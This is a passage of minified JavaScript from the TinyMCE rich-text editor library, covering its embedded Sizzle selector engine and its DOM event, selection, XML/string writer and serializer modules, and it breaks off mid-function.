!!b(e[3],s).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toUpperCase()==="BUTTON"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return r<e[3]-0},gt:function(s,r,e){return r>e[3]-0},nth:function(s,r,e){return e[3]-0==r},eq:function(s,r,e){return e[3]-0==r}},filter:{PSEUDO:function(w,s,t,x){var r=s[1],u=f.filters[r];if(u){return u(w,t,s,x)}else{if(r==="contains"){return(w.textContent||w.innerText||"").indexOf(s[3])>=0}else{if(r==="not"){var v=s[3];for(var t=0,e=v.length;t<e;t++){if(v[t]===w){return false}}return true}}}},CHILD:function(e,t){var w=t[1],r=e;switch(w){case"only":case"first":while(r=r.previousSibling){if(r.nodeType===1){return false}}if(w=="first"){return true}r=e;case"last":while(r=r.nextSibling){if(r.nodeType===1){return false}}return true;case"nth":var s=t[2],z=t[3];if(s==1&&z==0){return true}var v=t[0],y=e.parentNode;if(y&&(y.sizcache!==v||!e.nodeIndex)){var u=0;for(r=y.firstChild;r;r=r.nextSibling){if(r.nodeType===1){r.nodeIndex=++u}}y.sizcache=v}var x=e.nodeIndex-z;if(s==0){return x==0}else{return(x%s==0&&x/s>=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),w=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?w===r:u==="*="?w.indexOf(r)>=0:u==="~="?(" "+w+" ").indexOf(r)>=0:!r?w&&e!==false:u==="!="?w!=r:u==="^="?w.indexOf(r)===0:u==="$="?w.substr(w.length-r.length)===r:u==="|="?w===r||w.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var j=f.match.POS;for(var l in f.match){f.match[l]=new RegExp(f.match[l].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var a=function(r,e){r=Array.prototype.slice.call(r);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(k){a=function(u,t){var r=t||[];if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var s=0,e=u.length;s<e;s++){r.push(u[s])}}else{for(var s=0;u[s];s++){r.push(u[s])}}}return r}}var c;if(document.documentElement.compareDocumentPosition){c=function(r,e){var s=r.compareDocumentPosition(e)&4?-1:r===e?0:1;if(s===0){n=true}return s}}else{if("sourceIndex" in document.documentElement){c=function(r,e){var s=r.sourceIndex-e.sourceIndex;if(s===0){n=true}return s}}else{if(document.createRange){c=function(t,r){var s=t.ownerDocument.createRange(),e=r.ownerDocument.createRange();s.setStart(t,0);s.setEnd(t,0);e.setStart(r,0);e.setEnd(r,0);var u=s.compareBoundaryPoints(Range.START_TO_END,e);if(u===0){n=true}return u}}}}(function(){var r=document.createElement("div"),s="script"+(new Date).getTime();r.innerHTML="<a name='"+s+"'/>";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(!!document.getElementById(s)){f.find.ID=function(u,v,w){if(typeof v.getElementById!=="undefined"&&!w){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r)})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="<a href='#'></a>";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="<p class='TEST'></p>";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(w,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!o(v)){try{return a(v.querySelectorAll(w),t)}catch(x){}}return e(w,v,t,u)};for(var r in e){b[r]=e[r]}})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var e=document.createElement("div");e.innerHTML="<div class='test e'></div><div class='test'></div>";if(e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}}})()}function m(r,w,v,A,x,z){var y=r=="previousSibling"&&!z;for(var t=0,s=A.length;t<s;t++){var e=A[t];if(e){if(y&&e.nodeType===1){e.sizcache=v;e.sizset=t}e=e[r];var u=false;while(e){if(e.sizcache===v){u=A[e.sizset];break}if(e.nodeType===1&&!z){e.sizcache=v;e.sizset=t}if(e.nodeName===w){u=e;break}e=e[r]}A[t]=u}}}function q(r,w,v,A,x,z){var y=r=="previousSibling"&&!z;for(var t=0,s=A.length;t<s;t++){var e=A[t];if(e){if(y&&e.nodeType===1){e.sizcache=v;e.sizset=t}e=e[r];var u=false;while(e){if(e.sizcache===v){u=A[e.sizset];break}if(e.nodeType===1){if(!z){e.sizcache=v;e.sizset=t}if(typeof w!=="string"){if(e===w){u=true;break}}else{if(b.filter(w,[e]).length>0){u=e;break}}}e=e[r]}A[t]=u}}}var h=document.compareDocumentPosition?function(r,e){return r.compareDocumentPosition(e)&16}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};var o=function(e){return e.nodeType===9&&e.documentElement.nodeName!=="HTML"||!!e.ownerDocument&&e.ownerDocument.documentElement.nodeName!=="HTML"};var g=function(e,x){var t=[],u="",v,s=x.nodeType?[x]:x;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var w=0,r=s.length;w<r;w++){b(e,s[w],t)}return b.filter(u,t)};window.tinymce.dom.Sizzle=b})();(function(d){var f=d.each,c=d.DOM,b=d.isIE,e=d.isWebKit,a;d.create("tinymce.dom.EventUtils",{EventUtils:function(){this.inits=[];this.events=[]},add:function(m,p,l,j){var g,h=this,i=h.events,k;if(p instanceof Array){k=[];f(p,function(o){k.push(h.add(m,o,l,j))});return k}if(m&&m.hasOwnProperty&&m instanceof Array){k=[];f(m,function(n){n=c.get(n);k.push(h.add(n,p,l,j))});return k}m=c.get(m);if(!m){return}g=function(n){if(h.disabled){return}n=n||window.event;if(n&&b){if(!n.target){n.target=n.srcElement}if(!n.preventDefault){n.preventDefault=function(){n.returnValue=false}}if(!n.stopPropagation){n.stopPropagation=function(){n.cancelBubble=true}}}if(!j){return l(n)}return l.call(j,n)};if(p=="unload"){d.unloads.unshift({func:g});return g}if(p=="init"){if(h.domLoaded){g()}else{h.inits.push(g)}return g}i.push({obj:m,name:p,func:l,cfunc:g,scope:j});h._add(m,p,g);return l},remove:function(l,m,k){var h=this,g=h.events,i=false,j;if(l&&l.hasOwnProperty&&l instanceof Array){j=[];f(l,function(n){n=c.get(n);j.push(h.remove(n,m,k))});return j}l=c.get(l);f(g,function(o,n){if(o.obj==l&&o.name==m&&(!k||(o.func==k||o.cfunc==k))){g.splice(n,1);h._remove(l,m,o.cfunc);i=true;return false}});return i},clear:function(l){var j=this,g=j.events,h,k;if(l){l=c.get(l);for(h=g.length-1;h>=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){var b=a.each;a.create("tinymce.dom.Element",{Element:function(g,e){var c=this,f,d;e=e||{};c.id=g;c.dom=f=e.dom||a.DOM;c.settings=e;if(!a.isIE){d=c.dom.get(c.id)}b(["getPos","getRect","getParent","add","setStyle","getStyle","setStyles","setAttrib","setAttribs","getAttrib","addClass","removeClass","hasClass","getOuterHTML","setOuterHTML","remove","show","hide","isHidden","setHTML","get"],function(h){c[h]=function(){var j=[g],k;for(k=0;k<arguments.length;k++){j.push(arguments[k])}j=f[h].apply(f,j);c.update(h);return j}})},on:function(e,d,c){return a.dom.Event.add(this.id,e,d,c)},getXY:function(){return{x:parseInt(this.getStyle("left")),y:parseInt(this.getStyle("top"))}},getSize:function(){var c=this.dom.get(this.id);return{w:parseInt(this.getStyle("width")||c.clientWidth),h:parseInt(this.getStyle("height")||c.clientHeight)}},moveTo:function(c,d){this.setStyles({left:c,top:d})},moveBy:function(c,e){var d=this.getXY();this.moveTo(d.x+c,d.y+e)},resizeTo:function(c,d){this.setStyles({width:c,height:d})},resizeBy:function(c,e){var d=this.getSize();this.resizeTo(d.w+c,d.h+e)},update:function(d){var e=this,c,f=e.dom;if(a.isIE6&&e.settings.blocker){d=d||"";if(d.indexOf("get")===0||d.indexOf("has")===0||d.indexOf("is")===0){return}if(d=="remove"){f.remove(e.blocker);return}if(!e.blocker){e.blocker=f.uniqueId();c=f.add(e.settings.container||f.getRoot(),"iframe",{id:e.blocker,style:"position:absolute;",frameBorder:0,src:'javascript:""'});f.setStyle(c,"opacity",0)}else{c=f.get(e.blocker)}f.setStyle(c,"left",e.getStyle("left",1));f.setStyle(c,"top",e.getStyle("top",1));f.setStyle(c,"width",e.getStyle("width",1));f.setStyle(c,"height",e.getStyle("height",1));f.setStyle(c,"display",e.getStyle("display",1));f.setStyle(c,"zIndex",parseInt(e.getStyle("zIndex",1)||0)-1)}}})})(tinymce);(function(c){function e(f){return f.replace(/[\n\r]+/g,"")}var b=c.is,a=c.isIE,d=c.each;c.create("tinymce.dom.Selection",{Selection:function(i,h,g){var f=this;f.dom=i;f.win=h;f.serializer=g;d(["onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent"],function(j){f[j]=new c.util.Dispatcher(f)});if(!f.win.getSelection){f.tridentSel=new c.dom.TridentSelection(f)}c.addUnload(f.destroy,f)},getContent:function(g){var f=this,h=f.getRng(),l=f.dom.create("body"),j=f.getSel(),i,k,m;g=g||{};i=k="";g.get=true;g.format=g.format||"html";f.onBeforeGetContent.dispatch(f,g);if(g.format=="text"){return f.isCollapsed()?"":(h.text||(j.toString?j.toString():""))}if(h.cloneContents){m=h.cloneContents();if(m){l.appendChild(m)}}else{if(b(h.item)||b(h.htmlText)){l.innerHTML=h.item?h.item(0).outerHTML:h.htmlText}else{l.innerHTML=h.toString()}}if(/^\s/.test(l.innerHTML)){i=" "}if(/\s+$/.test(l.innerHTML)){k=" "}g.getInner=true;g.content=f.isCollapsed()?"":i+f.serializer.serialize(l,g)+k;f.onGetContent.dispatch(f,g);return g.content},setContent:function(i,g){var f=this,j=f.getRng(),l,k=f.win.document;g=g||{format:"html"};g.set=true;i=g.content=f.dom.processHTML(i);f.onBeforeSetContent.dispatch(f,g);i=g.content;if(j.insertNode){i+='<span id="__caret">_</span>';j.deleteContents();j.insertNode(f.getRng().createContextualFragment(i));l=f.dom.get("__caret");j=k.createRange();j.setStartBefore(l);j.setEndAfter(l);f.setRng(j);f.dom.remove("__caret")}else{if(j.item){k.execCommand("Delete",false,null);j=f.getRng()}j.pasteHTML(i)}f.onSetContent.dispatch(f,g)},getStart:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(1);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.firstChild}return h}else{h=g.startContainer;if(h.nodeName=="BODY"){return h.firstChild}return f.dom.getParent(h,"*")}},getEnd:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(0);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.lastChild}return h}else{h=g.endContainer;if(h.nodeName=="BODY"){return h.lastChild}return f.dom.getParent(h,"*")}},getBookmark:function(x){var j=this,m=j.getRng(),f,n,l,u=j.dom.getViewPort(j.win),v,p,z,o,w=-16777215,k,h=j.dom.getRoot(),g=0,i=0,y;n=u.x;l=u.y;if(x=="simple"){return{rng:m,scrollX:n,scrollY:l}}if(a){if(m.item){v=m.item(0);d(j.dom.select(v.nodeName),function(s,r){if(v==s){p=r;return false}});return{tag:v.nodeName,index:p,scrollX:n,scrollY:l}}f=j.dom.doc.body.createTextRange();f.moveToElementText(h);f.collapse(true);z=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(true);p=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(false);o=Math.abs(f.move("character",w))-p;return{start:p-z,length:o,scrollX:n,scrollY:l}}v=j.getNode();k=j.getSel();if(!k){return null}if(v&&v.nodeName=="IMG"){return{scrollX:n,scrollY:l}}function q(A,D,t){var s=j.dom.doc.createTreeWalker(A,NodeFilter.SHOW_TEXT,null,false),E,B=0,C={};while((E=s.nextNode())!=null){if(E==D){C.start=B}if(E==t){C.end=B;return C}B+=e(E.nodeValue||"").length}return null}if(k.anchorNode==k.focusNode&&k.anchorOffset==k.focusOffset){v=q(h,k.anchorNode,k.focusNode);if(!v){return{scrollX:n,scrollY:l}}e(k.anchorNode.nodeValue||"").replace(/^\s+/,function(r){g=r.length});return{start:Math.max(v.start+k.anchorOffset-g,0),end:Math.max(v.end+k.focusOffset-g,0),scrollX:n,scrollY:l,beg:k.anchorOffset-g==0}}else{v=q(h,m.startContainer,m.endContainer);if(!v){return{scrollX:n,scrollY:l}}return{start:Math.max(v.start+m.startOffset-g,0),end:Math.max(v.end+m.endOffset-i,0),scrollX:n,scrollY:l,beg:m.startOffset-g==0}}},moveToBookmark:function(n){var o=this,g=o.getRng(),p=o.getSel(),j=o.dom.getRoot(),m,h,k;function i(q,t,D){var B=o.dom.doc.createTreeWalker(q,NodeFilter.SHOW_TEXT,null,false),x,s=0,A={},u,C,z,y;while((x=B.nextNode())!=null){z=y=0;k=x.nodeValue||"";h=e(k).length;s+=h;if(s>=t&&!A.startNode){u=t-(s-h);if(n.beg&&u>=h){continue}A.startNode=x;A.startOffset=u+y}if(s>=D){A.endNode=x;A.endOffset=D-(s-h)+y;return A}}return null}if(!n){return false}o.win.scrollTo(n.scrollX,n.scrollY);if(a){if(g=n.rng){try{g.select()}catch(l){}return true}o.win.focus();if(n.tag){g=j.createControlRange();d(o.dom.select(n.tag),function(r,q){if(q==n.index){g.addElement(r)}})}else{try{if(n.start<0){return true}g=p.createRange();g.moveToElementText(j);g.collapse(true);g.moveStart("character",n.start);g.moveEnd("character",n.length)}catch(f){return true}}try{g.select()}catch(l){}return true}if(!p){return false}if(n.rng){p.removeAllRanges();p.addRange(n.rng)}else{if(b(n.start)&&b(n.end)){try{m=i(j,n.start,n.end);if(m){g=o.dom.doc.createRange();g.setStart(m.startNode,m.startOffset);g.setEnd(m.endNode,m.endOffset);p.removeAllRanges();p.addRange(g)}if(!c.isOpera){o.win.focus()}}catch(l){}}}},select:function(g,l){var p=this,f=p.getRng(),q=p.getSel(),o,m,k,j=p.win.document;function h(u,t){var s,r;if(u){s=j.createTreeWalker(u,NodeFilter.SHOW_TEXT,null,false);while(u=s.nextNode()){r=u;if(c.trim(u.nodeValue).length!=0){if(t){return u}else{r=u}}}}return r}if(a){try{o=j.body;if(/^(IMG|TABLE)$/.test(g.nodeName)){f=o.createControlRange();f.addElement(g)}else{f=o.createTextRange();f.moveToElementText(g)}f.select()}catch(i){}}else{if(l){m=h(g,1)||p.dom.select("br:first",g)[0];k=h(g,0)||p.dom.select("br:last",g)[0];if(m&&k){f=j.createRange();if(m.nodeName=="BR"){f.setStartBefore(m)}else{f.setStart(m,0)}if(k.nodeName=="BR"){f.setEndBefore(k)}else{f.setEnd(k,k.nodeValue.length)}}else{f.selectNode(g)}}else{f.selectNode(g)}p.setRng(f)}return g},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}return !g||h.boundingWidth==0||h.collapsed},collapse:function(f){var g=this,h=g.getRng(),i;if(h.item){i=h.item(0);h=this.win.document.body.createTextRange();h.moveToElementText(i)}h.collapse(!!f);g.setRng(h)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(j){var g=this,h,i;if(j&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():g.win.document.createRange())}}catch(f){}if(!i){i=a?g.win.document.body.createTextRange():g.win.document.createRange()}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){h.removeAllRanges();h.addRange(i)}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var f=this,h=f.getRng(),g=f.getSel(),i;if(!a){if(!h){return f.dom.getRoot()}i=h.commonAncestorContainer;if(!h.collapsed){if(c.isWebKit&&g.anchorNode&&g.anchorNode.nodeType==1){return g.anchorNode.childNodes[g.anchorOffset]}if(h.startContainer==h.endContainer){if(h.startOffset-h.endOffset<2){if(h.startContainer.hasChildNodes()){i=h.startContainer.childNodes[h.startOffset]}}}}return f.dom.getParent(i,"*")}return h.item?h.item(0):h.parentElement()},getSelectedBlocks:function(g,f){var i=this,j=i.dom,m,h,l,k=[];m=j.getParent(g||i.getStart(),j.isBlock);h=j.getParent(f||i.getEnd(),j.isBlock);if(m){k.push(m)}if(m&&h&&m!=h){l=m;while((l=l.nextSibling)&&l!=h){if(j.isBlock(l)){k.push(l)}}}if(h&&m!=h){k.push(h)}return k},destroy:function(g){var f=this;f.win=null;if(f.tridentSel){f.tridentSel.destroy()}if(!g){c.removeUnload(f.destroy)}}})})(tinymce);(function(a){a.create("tinymce.dom.XMLWriter",{node:null,XMLWriter:function(c){function b(){var e=document.implementation;if(!e||!e.createDocument){try{return new ActiveXObject("MSXML2.DOMDocument")}catch(d){}try{return new ActiveXObject("Microsoft.XmlDom")}catch(d){}}else{return e.createDocument("","",null)}}this.doc=b();this.valid=a.isOpera||a.isWebKit;this.reset()},reset:function(){var b=this,c=b.doc;if(c.firstChild){c.removeChild(c.firstChild)}b.node=c.appendChild(c.createElement("html"))},writeStartElement:function(c){var b=this;b.node=b.node.appendChild(b.doc.createElement(c))},writeAttribute:function(c,b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.setAttribute(c,b)},writeEndElement:function(){this.node=this.node.parentNode},writeFullEndElement:function(){var b=this,c=b.node;c.appendChild(b.doc.createTextNode(""));b.node=c.parentNode},writeText:function(b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.appendChild(this.doc.createTextNode(b))},writeCDATA:function(b){this.node.appendChild(this.doc.createCDATASection(b))},writeComment:function(b){if(a.isIE){b=b.replace(/^\-|\-$/g," ")}this.node.appendChild(this.doc.createComment(b.replace(/\-\-/g," ")))},getContent:function(){var b;b=this.doc.xml||new XMLSerializer().serializeToString(this.doc);b=b.replace(/<\?[^?]+\?>|<html>|<\/html>|<html\/>|<!DOCTYPE[^>]+>/g,"");b=b.replace(/ ?\/>/g," />");if(this.valid){b=b.replace(/\%MCGT%/g,"&gt;")}return b}})})(tinymce);(function(a){a.create("tinymce.dom.StringWriter",{str:null,tags:null,count:0,settings:null,indent:null,StringWriter:function(b){this.settings=a.extend({indent_char:" ",indentation:0},b);this.reset()},reset:function(){this.indent="";this.str="";this.tags=[];this.count=0},writeStartElement:function(b){this._writeAttributesEnd();this.writeRaw("<"+b);this.tags.push(b);this.inAttr=true;this.count++;this.elementCount=this.count},writeAttribute:function(d,b){var c=this;c.writeRaw(" "+c.encode(d)+'="'+c.encode(b)+'"')},writeEndElement:function(){var b;if(this.tags.length>0){b=this.tags.pop();if(this._writeAttributesEnd(1)){this.writeRaw("</"+b+">")}if(this.settings.indentation>0){this.writeRaw("\n")}}},writeFullEndElement:function(){if(this.tags.length>0){this._writeAttributesEnd();this.writeRaw("</"+this.tags.pop()+">");if(this.settings.indentation>0){this.writeRaw("\n")}}},writeText:function(b){this._writeAttributesEnd();this.writeRaw(this.encode(b));this.count++},writeCDATA:function(b){this._writeAttributesEnd();this.writeRaw("<![CDATA["+b+"]]>");this.count++},writeComment:function(b){this._writeAttributesEnd();this.writeRaw("<!-- "+b+"-->");this.count++},writeRaw:function(b){this.str+=b},encode:function(b){return b.replace(/[<>&"]/g,function(c){switch(c){case"<":return"&lt;";case">":return"&gt;";case"&":return"&amp;";case'"':return"&quot;"}return c})},getContent:function(){return this.str},_writeAttributesEnd:function(b){if(!this.inAttr){return}this.inAttr=false;if(b&&this.elementCount==this.count){this.writeRaw(" />");return false}this.writeRaw(">");return true}})})(tinymce);(function(e){var g=e.extend,f=e.each,b=e.util.Dispatcher,d=e.isIE,a=e.isGecko;function c(h){return h.replace(/([?+*])/g,".$1")}e.create("tinymce.dom.Serializer",{Serializer:function(j){var i=this;i.key=0;i.onPreProcess=new b(i);i.onPostProcess=new b(i);try{i.writer=new e.dom.XMLWriter()}catch(h){i.writer=new e.dom.StringWriter()}i.settings=j=g({dom:e.DOM,valid_nodes:0,node_filter:0,attr_filter:0,invalid_attrs:/^(mce_|_moz_)/,closed:/^(br|hr|input|meta|img|link|param|area)$/,entity_encoding:"named",entities:"160,nbsp,161,iexcl,162,cent,163,pound,164,curren,165,yen,166,brvbar,167,sect,168,uml,169,copy,170,ordf,171,laquo,172,not,173,shy,174,reg,175,macr,176,deg,177,plusmn,178,sup2,179,sup3,180,acute,181,micro,182,para,183,middot,184,cedil,185,sup1,186,ordm,187,raquo,188,frac14,189,frac12,190,frac34,191,iquest,192,Agrave,193,Aacute,194,Acirc,195,Atilde,196,Auml,197,Aring,198,AElig,199,Ccedil,200,Egrave,201,Eacute,202,Ecirc,203,Euml,204,Igrave,205,Iacute,206,Icirc,207,Iuml,208,ETH,209,Ntilde,210,Ograve,211,Oacute,212,Ocirc,213,Otilde,214,Ouml,215,times,216,Oslash,217,Ugrave,218,Uacute,219,Ucirc,220,Uuml,221,Yacute,222,THORN,223,szlig,224,agrave,225,aacute,226,acirc,227,atilde,228,auml,229,aring,230,aelig,231,ccedil,232,egrave,233,eacute,234,ecirc,235,euml,236,igrave,237,iacute,238,icirc,239,iuml,240,eth,241,ntilde,242,ograve,243,oacute,244,ocirc,245,otilde,246,ouml,247,divide,248,oslash,249,ugrave,250,uacute,251,ucirc,252,uuml,253,yacute,254,thorn,255,yuml,402,fnof,913,Alpha,914,Beta,915,Gamma,916,Delta,917,Epsilon,918,Zeta,919,Eta,920,Theta,921,Iota,922,Kappa,923,Lambda,924,Mu,925,Nu,926,Xi,927,Omicron,928,Pi,929,Rho,931,Sigma,932,Tau,933,Upsilon,934,Phi,935,Chi,936,Psi,937,Omega,945,alpha,946,beta,947,gamma,948,delta,949,epsilon,950,zeta,951,eta,952,theta,953,iota,954,kappa,955,lambda,956,mu,957,nu,958,xi,959,omicron,960,pi,961,rho,962,sigmaf,963,sigma,964,tau,965,upsilon,966,phi,967,chi,968,psi,969,omega,977,thetasym,978,upsih,982,piv,8226,bull,8230,hellip,8242,prime,8243,Prime,8254,oline,8260,frasl,8472,weierp,8465,image,8476,real,8482,trade,8501,alefsym,8592,larr,8593,uarr,8594,rarr,8595,darr,8596,harr,8629,crarr,8656,lArr,8657,uArr,8658,rArr,8659,dArr,8660,hArr,8704,forall,8706,part,8707,exist,8709,empty,8711,nabla,8712,isin,8713,notin,8715,ni,8719,prod,8721,sum,8722,minus,8727,lowast,8730,radic,8733,prop,8734,infin,8736,ang,8743,and,8744,or,8745,cap,8746,cup,8747,int,8756,there4,8764,sim,8773,cong,8776,asymp,8800,ne,8801,equiv,8804,le,8805,ge,8834,sub,8835,sup,8836,nsub,8838,sube,8839,supe,8853,oplus,8855,otimes,8869,perp,8901,sdot,8968,lceil,8969,rceil,8970,lfloor,8971,rfloor,9001,lang,9002,rang,9674,loz,9824,spades,9827,clubs,9829,hearts,9830,diams,338,OElig,339,oelig,352,Scaron,353,scaron,376,Yuml,710,circ,732,tilde,8194,ensp,8195,emsp,8201,thinsp,8204,zwnj,8205,zwj,8206,lrm,8207,rlm,8211,ndash,8212,mdash,8216,lsquo,8217,rsquo,8218,sbquo,8220,ldquo,8221,rdquo,8222,bdquo,8224,dagger,8225,Dagger,8240,permil,8249,lsaquo,8250,rsaquo,8364,euro",bool_attrs:/(checked|disabled|readonly|selected|nowrap)/,valid_elements:"*[*]",extended_valid_elements:0,valid_child_elements:0,invalid_elements:0,fix_table_elements:1,fix_list_elements:true,fix_content_duplication:true,convert_fonts_to_spans:false,font_size_classes:0,font_size_style_values:0,apply_source_formatting:0,indent_mode:"simple",indent_char:"\t",indent_levels:1,remove_linebreaks:1,remove_redundant_brs:1,element_format:"xhtml"},j);i.dom=j.dom;if(j.remove_redundant_brs){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/(<br \/>\s*)+<\/(p|h[1-6]|div|li)>/gi,function(n,m,o){if(/^<br \/>\s*<\//.test(n)){return"</"+o+">"}return n})})}if(j.element_format=="html"){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/<([^>]+) \/>/g,"<$1>")})}if(j.fix_list_elements){i.onPreProcess.add(function(v,s){var l,y,w=["ol","ul"],u,t,q,k=/^(OL|UL)$/,z;function m(r,x){var o=x.split(","),p;while((r=r.previousSibling)!=null){for(p=0;p<o.length;p++){if(r.nodeName==o[p]){return r}}}return null}for(y=0;y<w.length;y++){l=i.dom.select(w[y],s.node);for(u=0;u<l.length;u++){t=l[u];q=t.parentNode;if(k.test(q.nodeName)){z=m(t,"LI");if(!z){z=i.dom.create("li");z.innerHTML="&nbsp;";z.appendChild(t);q.insertBefore(z,q.firstChild)}else{z.appendChild(t)}}}}})}if(j.fix_table_elements){i.onPreProcess.add(function(k,l){f(i.dom.select("p table",l.node),function(m){i.dom.split(i.dom.getParent(m,"p"),m)})})}},setEntities:function(p){var n=this,j,m,h={},o="",k;if(n.entityLookup){return}j=p.split(",");for(m=0;m<j.length;m+=2){k=j[m];if(k==34||k==38||k==60||k==62){continue}h[String.fromCharCode(j[m])]=j[m+1];k=parseInt(j[m]).toString(16);o+="\\u"+"0000".substring(k.length)+k}if(!o){n.settings.entity_encoding="raw";return}n.entitiesRE=new RegExp("["+o+"]","g");n.entityLookup=h},setValidChildRules:function(h){this.childRules=null;this.addValidChildRules(h)},addValidChildRules:function(k){var j=this,l,h,i;if(!k){return}l="A|BR|SPAN|BDO|MAP|OBJECT|IMG|TT|I|B|BIG|SMALL|EM|STRONG|DFN|CODE|Q|SAMP|KBD|VAR|CITE|ABBR|ACRONYM|SUB|SUP|#text|#comment";h="A|BR|SPAN|BDO|OBJECT|APPLET|IMG|MAP|IFRAME|TT|I|B|U|S|STRIKE|BIG|SMALL|FONT|BASEFONT|EM|STRONG|DFN|CODE|Q|SAMP|KBD|VAR|CITE|ABBR|ACRONYM|SUB|SUP|INPUT|SELECT|TEXTAREA|LABEL|BUTTON|#text|#comment";i="H[1-6]|P|DIV|ADDRESS|PRE|FORM|TABLE|LI|OL|UL|TD|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|FORM|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP";f(k.split(","),function(n){var 